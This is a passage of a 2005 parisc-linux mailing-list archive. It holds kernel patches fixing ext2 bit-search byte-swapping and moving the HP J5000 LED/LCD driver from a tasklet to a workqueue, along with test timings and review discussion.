	by free.linux.hp.com (Postfix) with ESMTP id D4F147D680
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 18:18:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13257-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 18:18:40 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 3E9927D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 18:18:40 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 139F9298062
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 18:18:51 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12105-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 18:18:49 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 862DB298010; Sat, 26 Mar 2005 18:18:49 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050326103540.GA31557@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8Ww0YukEeSE5+76WZHQhaXN2IGRvb4Cd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22509

On Sat, Mar 26, 2005 at 03:35:40AM -0700, Grant Grundler wrote:
> James Bottomley in a private conversation suggested our
> ext2_test_bit() and ext2_find_next_zero_bit() might not
> be counting bits the same way in the bitmap.

James, kudos and thank you.

With appended patch, I'm getting reasonable ext3 performance.
Can someone please test this patch in a 32-bit kernel?

I'm comfortable this patch works for 64-bit since I've been building
kernels and running rsync across 3 disks with no problems.
I *think* the code is 32-bit clean as well, but haven't tested it.


Some minor additional, interesting things folks can do:
o Should this function should really be "static inline"?
  sparc64 puts it into arch/sparc64/lib :
  grundler <502>fgrep find_next_zero_le arch/sparc64/lib/find_bit.c 
  unsigned long find_next_zero_le_bit(unsigned long *addr, unsigned long size, unsigned long offset)

  How often is it called? More than three/four times would make
  it candidate for lib.

o ffz() is expanded inline. Restructure code so we don't
  need find_middle_swap() label. Ie do endian swap inside
  the conditional...but then the loop gets uglier and
  parisc can't use a conditional branch.
  Making this a normal function might make this item irrelevant.

o drop or optimize "if (tmp == ~0UL)" right before found_middle label.
  ffz() isn't that expensive compared to a mis-predicted branch.
  Figure out how many cycles ffz() costs, how many cycles a
  mispredicted branch costs, and then what the right tradeoff
  is in this case (including reduced code size).

Simple test results follow and then the patch.

riot:/mnt3# df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sdk3             16146848   1649084  13677540  11% /
/dev/sdk1               189387     97070     82539  55% /boot
/dev/sdb              17504036  14616368   1998508  88% /mnt3
/dev/sdu              17504036  14616368   1998508  88% /mnt2
/dev/sdv              17504036   5128996  11485880  31% /mnt

grundler@riot:/$ lsscsi
[0:0:0:0]    disk    SEAGATE  ST318203LC       HP02  /dev/sda
[0:0:1:0]    disk    SEAGATE  ST318203LC       HP02  /dev/sdb
...
[5:0:12:0]   disk    SEAGATE  ST318451LC       HP01  /dev/sdu
[5:0:13:0]   disk    SEAGATE  ST318451LC       HP01  /dev/sdv


riot:/mnt# time tar xjf linux-2.6.12-rc1-pa3.tar.bz2 

real    0m51.988s
user    0m44.175s
sys     0m7.912s

riot:/mnt# cd ../mnt2
riot:/mnt2# time tar xjf /mnt/linux-2.6.12-rc1-pa3.tar.bz2 

real    0m52.338s
user    0m44.232s
sys     0m7.912s
riot:/mnt2# cd /mnt3  
riot:/mnt3# time tar xjf /mnt/linux-2.6.12-rc1-pa3.tar.bz2 

real    0m54.755s
user    0m44.181s
sys     0m7.998s


iostat 10 second sample while running tar:

avg-cpu:  %user   %nice    %sys %iowait   %idle
          43.73    0.00   11.14    9.95   35.18

Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
sdb               0.00         0.00         0.00          0          0
sdu               0.00         0.00         0.00          0          0
sdv             130.87         2.40     11723.48         24     117352


thanks,
grant


Signed-off-by: Grant Grundler <grundler@parisc-linux.org>


Index: include/asm-parisc/bitops.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/bitops.h,v
retrieving revision 1.15
diff -u -p -r1.15 bitops.h
--- include/asm-parisc/bitops.h	24 Mar 2005 15:26:29 -0000	1.15
+++ include/asm-parisc/bitops.h	27 Mar 2005 01:09:41 -0000
@@ -466,52 +466,67 @@ static __inline__ int ext2_test_bit(int 
 	return (ADDR[nr >> 3] >> (nr & 7)) & 1;
 }
 
-/*
- * This implementation of ext2_find_{first,next}_zero_bit was stolen from
- * Linus' asm-alpha/bitops.h and modified for a big-endian machine.
- */
+/* include/linux/byteorder does not support "unsigned long" type */
+static inline unsigned long ext2_swabp(unsigned long * x)
+{
+#ifdef CONFIG_64BIT
+	return (unsigned long) __swab64p((u64 *) x);
+#else
+	return (unsigned long) __swab32p((u32 *) x);
+#endif
+}
 
-#define ext2_find_first_zero_bit(addr, size) \
-        ext2_find_next_zero_bit((addr), (size), 0)
+/* include/linux/byteorder doesn't support "unsigned long" type */
+static inline unsigned long ext2_swab(unsigned long y)
+{
+#ifdef CONFIG_64BIT
+	return (unsigned long) __swab64((u64) y);
+#else
+	return (unsigned long) __swab32((u32) y);
+#endif
+}
 
-extern __inline__ unsigned long ext2_find_next_zero_bit(void *addr,
-	unsigned long size, unsigned long offset)
+static __inline__ unsigned long ext2_find_next_zero_bit(unsigned long *addr, unsigned long size, unsigned long offset)
 {
-	unsigned int *p = ((unsigned int *) addr) + (offset >> 5);
-	unsigned int result = offset & ~31UL;
-	unsigned int tmp;
+	unsigned long *p = addr + (offset >> SHIFT_PER_LONG);
+	unsigned long result = offset & ~(BITS_PER_LONG - 1);
+	unsigned long tmp;
 
 	if (offset >= size)
 		return size;
 	size -= result;
-	offset &= 31UL;
-	if (offset) {
-		tmp = cpu_to_le32p(p++);
-		tmp |= ~0UL >> (32-offset);
-		if (size < 32)
+	offset &= (BITS_PER_LONG - 1UL);
+	if(offset) {
+		tmp = ext2_swabp(p++);
+		tmp |= (~0UL >> (BITS_PER_LONG - offset));
+		if(size < BITS_PER_LONG)
 			goto found_first;
-		if (tmp != ~0U)
+		if(~tmp)
 			goto found_middle;
-		size -= 32;
-		result += 32;
+		size -= BITS_PER_LONG;
+		result += BITS_PER_LONG;
 	}
-	while (size >= 32) {
-		if ((tmp = *p++) != ~0U)
+
+	while(size & ~(BITS_PER_LONG - 1)) {
+		if(~(tmp = *(p++)))
 			goto found_middle_swap;
-		result += 32;
-		size -= 32;
+		result += BITS_PER_LONG;
+		size -= BITS_PER_LONG;
 	}
-	if (!size)
+	if(!size)
 		return result;
-	tmp = cpu_to_le32p(p);
+	tmp = ext2_swabp(p);
 found_first:
-	tmp |= ~0U << size;
+	tmp |= ~0UL << size;
+	if (tmp == ~0UL)	/* Are any bits zero? */
+		return result + size; /* Nope. Skip ffz */
 found_middle:
 	return result + ffz(tmp);
+
 found_middle_swap:
-	tmp = cpu_to_le32(tmp);
-	return result + ffz(tmp);
+	return result + ffz(ext2_swab(tmp));
 }
+
 
 /* Bitmap functions for the minix filesystem.  */
 #define minix_test_and_set_bit(nr,addr) ext2_set_bit(nr,addr)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Sun, 27 Mar 2005 01:53:30 -0700
Lines: 440
Approved: news@gmane.org
Message-ID: <20050327085330.GA17602@colo.lackof.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<200503252150.28207.dmp@davidmpye.dyndns.org>
	<20050326071349.GB28972@colo.lackof.org>
	<200503261514.43287.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623720 13516 80.91.229.3 (22 Nov 2014 02:35:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: David Pye <dmp@davidmpye.dyndns.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2005 08:51:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 27 Mar 2005 10:51:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EDB3D7D675;
	Sun, 27 Mar 2005 01:53:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14609-09; Sun, 27 Mar 2005 01:53:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02A517D678;
	Sun, 27 Mar 2005 01:53:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC8C97D672
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 01:53:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14609-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 01:53:23 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1D4707D671
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 01:53:23 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A0C6029803F;
	Sun, 27 Mar 2005 01:53:33 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17579-05; Sun, 27 Mar 2005 01:53:30 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BC583298010; Sun, 27 Mar 2005 01:53:30 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200503261514.43287.dmp@davidmpye.dyndns.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZxE0YjIxeSE5+76WZHQhaXN2IGRvb8D+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22510

On Sat, Mar 26, 2005 at 03:14:41PM +0000, David Pye wrote:
> Attached! The only real change now is that the minimum on-time is now LCD 
> only, so hopefully this gets us the best of both worlds. LED people won't 
> notice anything different, and the LCD should now be nicely responsive.

I've attached the patch I'm willing to commit...works for me.

And I really like the work-queue implementation. It nicely
solves the cmd/data pair problem and consolidates more of the
support in led.c.  The only drawback I can see so far is the
scheduler may chose to not run the led_func when it needs to
be run. If a machine is really busy, only the hearbeat will
suffer and I expect users will get other clues that the machine
is just really busy.

Sorry - I can't get warm to the implementation of minimum on time.
It was really cluttering up the main routine.
Can I commit this patch for now and then we follow up with another
patch for minimum on-time?

I think I would be ok with it implemented inside the led_get*
activity routines. They have access to lastleds and jiffies and
that should be enough to figure out how long an LED should stay
on if it's already on.  The main routine can stay simple/readable.

I also just realized because led_get* routines are static inline,
led_lanrxtx and led_diskio tests can be moved to the respective
routines as well with no harm to performance. May be a bad idea
though since current construct is pretty obvious what they do.

cheers,
grant


Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

Index: arch/parisc/kernel/time.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/time.c,v
retrieving revision 1.9
diff -u -p -r1.9 time.c
--- arch/parisc/kernel/time.c	21 Oct 2004 18:58:24 -0000	1.9
+++ arch/parisc/kernel/time.c	27 Mar 2005 08:33:00 -0000
@@ -89,14 +89,6 @@ irqreturn_t timer_interrupt(int irq, voi
 		}
 	}
     
-#ifdef CONFIG_CHASSIS_LCD_LED
-	/* Only schedule the led tasklet on cpu 0, and only if it
-	 * is enabled.
-	 */
-	if (cpu == 0 && !atomic_read(&led_tasklet.count))
-		tasklet_schedule(&led_tasklet);
-#endif
-
 	/* check soft power switch status */
 	if (cpu == 0 && !atomic_read(&power_tasklet.count))
 		tasklet_schedule(&power_tasklet);
Index: drivers/parisc/led.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/led.c,v
retrieving revision 1.12
diff -u -p -r1.12 led.c
--- drivers/parisc/led.c	18 Mar 2005 13:17:10 -0000	1.12
+++ drivers/parisc/led.c	27 Mar 2005 08:33:00 -0000
@@ -18,6 +18,9 @@
  * Changes:
  *      - Audit copy_from_user in led_proc_write.
  *                                Daniele Bellucci <bellucda@tiscali.it>
+ *	- Switch from using a tasklet to a work queue, so the led_LCD_driver
+ *	  	can sleep.
+ *	  			  David Pye <dmp@davidmpye.dyndns.org>
  */
 
 #include <linux/config.h>
@@ -37,6 +40,7 @@
 #include <linux/proc_fs.h>
 #include <linux/ctype.h>
 #include <linux/blkdev.h>
+#include <linux/workqueue.h>
 #include <asm/io.h>
 #include <asm/processor.h>
 #include <asm/hardware.h>
@@ -46,25 +50,30 @@
 #include <asm/uaccess.h>
 
 /* The control of the LEDs and LCDs on PARISC-machines have to be done 
-   completely in software. The necessary calculations are done in a tasklet
-   which is scheduled at every timer interrupt and since the calculations 
-   may consume relatively much CPU-time some of the calculations can be 
+   completely in software. The necessary calculations are done in a work queue
+   task which is scheduled regularly, and since the calculations may consume a 
+   relatively large amount of CPU time, some of the calculations can be 
    turned off with the following variables (controlled via procfs) */
 
 static int led_type = -1;
-static int led_heartbeat = 1;
-static int led_diskio = 1;
-static int led_lanrxtx = 1;
+static unsigned char lastleds;	/* LED state from most recent update */
+static unsigned int led_heartbeat = 1;
+static unsigned int led_diskio = 1;
+static unsigned int led_lanrxtx = 1;
 static char lcd_text[32];
 static char lcd_text_default[32];
 
+
+static struct workqueue_struct *led_wq;
+static void led_work_func(void *);
+static DECLARE_WORK(led_task, led_work_func, NULL);
+
 #if 0
 #define DPRINTK(x)	printk x
 #else
 #define DPRINTK(x)
 #endif
 
-
 struct lcd_block {
 	unsigned char command;	/* stores the command byte      */
 	unsigned char on;	/* value for turning LED on     */
@@ -115,12 +124,24 @@ lcd_info __attribute__((aligned(8))) =
 #define LCD_DATA_REG	lcd_info.lcd_data_reg_addr	 
 #define LED_DATA_REG	lcd_info.lcd_cmd_reg_addr	/* LASI & ASP only */
 
+#define LED_HASLCD 1
+#define LED_NOLCD  0
+
+/* The workqueue must be created at init-time */
+static int start_task(void) 
+{	
+	/* Create the work queue and queue the LED task */
+	led_wq = create_singlethread_workqueue("led_wq");	
+	queue_work(led_wq, &led_task);
+
+	return 0;
+}
+
+device_initcall(start_task);
 
 /* ptr to LCD/LED-specific function */
 static void (*led_func_ptr) (unsigned char);
 
-#define LED_HASLCD 1
-#define LED_NOLCD  0
 #ifdef CONFIG_PROC_FS
 static int led_proc_read(char *page, char **start, off_t off, int count, 
 	int *eof, void *data)
@@ -285,52 +306,35 @@ static void led_LASI_driver(unsigned cha
 /*
    ** 
    ** led_LCD_driver()
-   ** 
-   ** The logic of the LCD driver is, that we write at every scheduled call
-   ** only to one of LCD_CMD_REG _or_ LCD_DATA_REG - registers.
-   ** That way we don't need to let this tasklet busywait for min_cmd_delay
-   ** milliseconds.
-   **
-   ** TODO: check the value of "min_cmd_delay" against the value of HZ.
    **   
  */
 static void led_LCD_driver(unsigned char leds)
 {
-	static int last_index;	/* 0:heartbeat, 1:disk, 2:lan_in, 3:lan_out */
-	static int last_was_cmd;/* 0: CMD was written last, 1: DATA was last */
-	struct lcd_block *block_ptr;
-	int value;
-
-	switch (last_index) {
-	    case 0:	block_ptr = &lcd_info.heartbeat;
-			value = leds & LED_HEARTBEAT;
-			break;
-	    case 1:	block_ptr = &lcd_info.disk_io;
-			value = leds & LED_DISK_IO;
-			break;					
-	    case 2:	block_ptr = &lcd_info.lan_rcv;
-			value = leds & LED_LAN_RCV;
-			break;					
-	    case 3:	block_ptr = &lcd_info.lan_tx;
-			value = leds & LED_LAN_TX;
-			break;
-	    default:	/* should never happen: */
-			return;
-	}
-
-	if (last_was_cmd) {
-	    /* write the value to the LCD data port */
-    	    gsc_writeb( value ? block_ptr->on : block_ptr->off, LCD_DATA_REG );
-	} else {
-	    /* write the command-byte to the LCD command register */
-    	    gsc_writeb( block_ptr->command, LCD_CMD_REG );
-	}    
-	
-	/* now update the vars for the next interrupt iteration */ 
-	if (++last_was_cmd == 2) { /* switch between cmd & data */
-	    last_was_cmd = 0;
-	    if (++last_index == 4) 
-		last_index = 0;	 /* switch back to heartbeat index */
+	static int i;
+	static unsigned char mask[4] = { LED_HEARTBEAT, LED_DISK_IO,
+		LED_LAN_RCV, LED_LAN_TX };
+	
+	static struct lcd_block * blockp[4] = {
+		&lcd_info.heartbeat,
+		&lcd_info.disk_io,
+		&lcd_info.lan_rcv,
+		&lcd_info.lan_tx
+	};
+
+	/* Convert min_cmd_delay to milliseconds */
+	unsigned int msec_cmd_delay = 1 + (lcd_info.min_cmd_delay / 1000);
+	
+	for (i=0; i<4; ++i) 
+	{
+		if ((leds & mask[i]) != (lastleds & mask[i])) 
+		{
+			gsc_writeb( blockp[i]->command, LCD_CMD_REG );
+			msleep(msec_cmd_delay);
+			
+			gsc_writeb( leds & mask[i] ? blockp[i]->on : 
+					blockp[i]->off, LCD_DATA_REG );
+			msleep(msec_cmd_delay);
+		}
 	}
 }
 
@@ -355,7 +359,7 @@ static __inline__ int led_get_net_activi
 
 	rx_total = tx_total = 0;
 	
-	/* we are running as tasklet, so locking dev_base 
+	/* we are running as a workqueue task, so locking dev_base 
 	 * for reading should be OK */
 	read_lock(&dev_base_lock);
 	for (dev = dev_base; dev; dev = dev->next) {
@@ -402,7 +406,7 @@ static __inline__ int led_get_diskio_act
 	static unsigned long last_pgpgin, last_pgpgout;
 	struct page_state pgstat;
 	int changed;
-	
+
 	get_full_page_state(&pgstat); /* get no of sectors in & out */
 
 	/* Just use a very simple calculation here. Do not care about overflow,
@@ -410,86 +414,68 @@ static __inline__ int led_get_diskio_act
 	changed = (pgstat.pgpgin != last_pgpgin) || (pgstat.pgpgout != last_pgpgout);
 	last_pgpgin  = pgstat.pgpgin;
 	last_pgpgout = pgstat.pgpgout;
-	
+
 	return (changed ? LED_DISK_IO : 0);
 }
 
 
 
 /*
-   ** led_tasklet_func()
+   ** led_work_func()
    ** 
-   ** is scheduled at every timer interrupt from time.c and
-   ** updates the chassis LCD/LED 
+   ** manages when and which chassis LCD/LED gets updated
 
     TODO:
     - display load average (older machines like 715/64 have 4 "free" LED's for that)
     - optimizations
  */
 
-#define HEARTBEAT_LEN (HZ*6/100)
-#define HEARTBEAT_2ND_RANGE_START (HZ*22/100)
+#define HEARTBEAT_LEN (HZ*10/100)
+#define HEARTBEAT_2ND_RANGE_START (HZ*28/100)
 #define HEARTBEAT_2ND_RANGE_END   (HEARTBEAT_2ND_RANGE_START + HEARTBEAT_LEN)
 
-#define NORMALIZED_COUNT(count) (count/(HZ/100))
+#define LED_UPDATE_INTERVAL (1 + (HZ*19/1000))
 
-static void led_tasklet_func(unsigned long unused)
+static void led_work_func (void *unused)
 {
-	static unsigned char lastleds;
-	unsigned char currentleds; /* stores current value of the LEDs */
-	static unsigned long count; /* static incremented value, not wrapped */
 	static unsigned long count_HZ; /* counter in range 0..HZ */
+	unsigned char currentleds = 0; /* stores current value of the LEDs */
 
 	/* exit if not initialized */
 	if (!led_func_ptr)
 	    return;
 
-	/* increment the local counters */
-	++count;
-	if (++count_HZ == HZ)
+	/* increment the local counter */
+	count_HZ += LED_UPDATE_INTERVAL;
+	if (count_HZ >= HZ)
 	    count_HZ = 0;
 
-	currentleds = lastleds;
-
 	if (led_heartbeat)
 	{
-		/* flash heartbeat-LED like a real heart (2 x short then a long delay) */
-		if (count_HZ<HEARTBEAT_LEN || 
-		    (count_HZ>=HEARTBEAT_2ND_RANGE_START && count_HZ<HEARTBEAT_2ND_RANGE_END)) 
-		    currentleds |= LED_HEARTBEAT;
-		else
-		    currentleds &= ~LED_HEARTBEAT;
+		/* flash heartbeat-LED like a real heart
+		 * (2 x short then a long delay)
+		 */
+		if (count_HZ < HEARTBEAT_LEN || 
+				(count_HZ >= HEARTBEAT_2ND_RANGE_START &&
+				count_HZ < HEARTBEAT_2ND_RANGE_END)) 
+			currentleds |= LED_HEARTBEAT;
 	}
 
-	/* look for network activity and flash LEDs respectively */
-	if (led_lanrxtx && ((NORMALIZED_COUNT(count)+(8/2)) & 7) == 0)
-	{
-		currentleds &= ~(LED_LAN_RCV | LED_LAN_TX);
-		currentleds |= led_get_net_activity();
-	}
-
-	/* avoid to calculate diskio-stats at same irq  as netio-stats */
-	if (led_diskio && (NORMALIZED_COUNT(count) & 7) == 0)
-	{
-		currentleds &= ~LED_DISK_IO;
-		currentleds |= led_get_diskio_activity();
-	}
+	if (led_lanrxtx)  currentleds |= led_get_net_activity();
+	if (led_diskio)   currentleds |= led_get_diskio_activity();
 
 	/* blink all LEDs twice a second if we got an Oops (HPMC) */
-	if (oops_in_progress) {
+	if (oops_in_progress) 
 		currentleds = (count_HZ<=(HZ/2)) ? 0 : 0xff;
-	}
-	
-	/* update the LCD/LEDs */
-	if (currentleds != lastleds) {
-	    led_func_ptr(currentleds);
-	    lastleds = currentleds;
-	}
-}
 
-/* main led tasklet struct (scheduled from time.c) */
-DECLARE_TASKLET_DISABLED(led_tasklet, led_tasklet_func, 0);
+	if (currentleds != lastleds)
+	{
+		led_func_ptr(currentleds);	/* Update the LCD/LEDs */
+		lastleds = currentleds;
+	}
 
+	queue_delayed_work(led_wq, &led_task, LED_UPDATE_INTERVAL);
+}
 
 /*
    ** led_halt()
@@ -519,9 +505,13 @@ static int led_halt(struct notifier_bloc
 	default:		return NOTIFY_DONE;
 	}
 	
-	/* completely stop the LED/LCD tasklet */
-	tasklet_disable(&led_tasklet);
-
+	/* Cancel the work item and delete the queue */
+	if (led_wq) {
+		if (cancel_delayed_work(&led_task) == 0) 
+			flush_workqueue(led_wq);
+		destroy_workqueue(led_wq);
+	}
+ 
 	if (lcd_info.model == DISPLAY_MODEL_LCD)
 		lcd_print(txt);
 	else
@@ -586,9 +576,6 @@ int __init register_led_driver(int model
 	initialized++;
 	register_reboot_notifier(&led_notifier);
 
-	/* start the led tasklet for the first time */
-	tasklet_enable(&led_tasklet);
-	
 	return 0;
 }
 
@@ -623,7 +610,7 @@ void __init register_led_regions(void)
    ** lcd_print()
    ** 
    ** Displays the given string on the LCD-Display of newer machines.
-   ** lcd_print() disables the timer-based led tasklet during its 
+   ** lcd_print() disables the timer-based led work task during its 
    ** execution and enables it afterwards again.
    **
  */
@@ -634,12 +621,14 @@ int lcd_print( char *str )
 	if (!led_func_ptr || lcd_info.model != DISPLAY_MODEL_LCD)
 	    return 0;
 	
-	/* temporarily disable the led tasklet */
-	tasklet_disable(&led_tasklet);
-
+	/* temporarily disable the led work task */
+	if (led_wq) {
+		if (cancel_delayed_work(&led_task) == 0) 
+			flush_workqueue(led_wq);
+	}
 	/* copy display string to buffer for procfs */
 	strlcpy(lcd_text, str, sizeof(lcd_text));
-	
+
 	/* Set LCD Cursor to 1st character */
 	gsc_writeb(lcd_info.reset_cmd1, LCD_CMD_REG);
 	udelay(lcd_info.min_cmd_delay);
@@ -653,8 +642,10 @@ int lcd_print( char *str )
 	    udelay(lcd_info.min_cmd_delay);
 	}
 	
-	/* re-enable the led tasklet */
-	tasklet_enable(&led_tasklet);
+	/* re-queue the work */
+	if (led_wq) {
+		queue_work(led_wq, &led_task);
+	}
 
 	return lcd_info.lcd_width;
 }
Index: include/asm-parisc/led.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/led.h,v
retrieving revision 1.3
diff -u -p -r1.3 led.h
--- include/asm-parisc/led.h	30 Dec 2004 08:07:48 -0000	1.3
+++ include/asm-parisc/led.h	27 Mar 2005 08:33:00 -0000
@@ -23,9 +23,6 @@
 
 #define LED_CMD_REG_NONE 0		/* NULL == no addr for the cmd register */
 
-/* led tasklet struct */
-extern struct tasklet_struct led_tasklet;

From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Sun, 27 Mar 2005 09:38:38 +0000
Lines: 102
Approved: news@gmane.org
Message-ID: <200503271038.42434.dmp@davidmpye.dyndns.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<200503261514.43287.dmp@davidmpye.dyndns.org>
	<20050327085330.GA17602@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1257430555=="
X-Trace: ger.gmane.org 1416623720 13518 80.91.229.3 (22 Nov 2014 02:35:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2005 09:39:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 27 Mar 2005 11:39:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E3DF7D69C;
	Sun, 27 Mar 2005 02:41:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
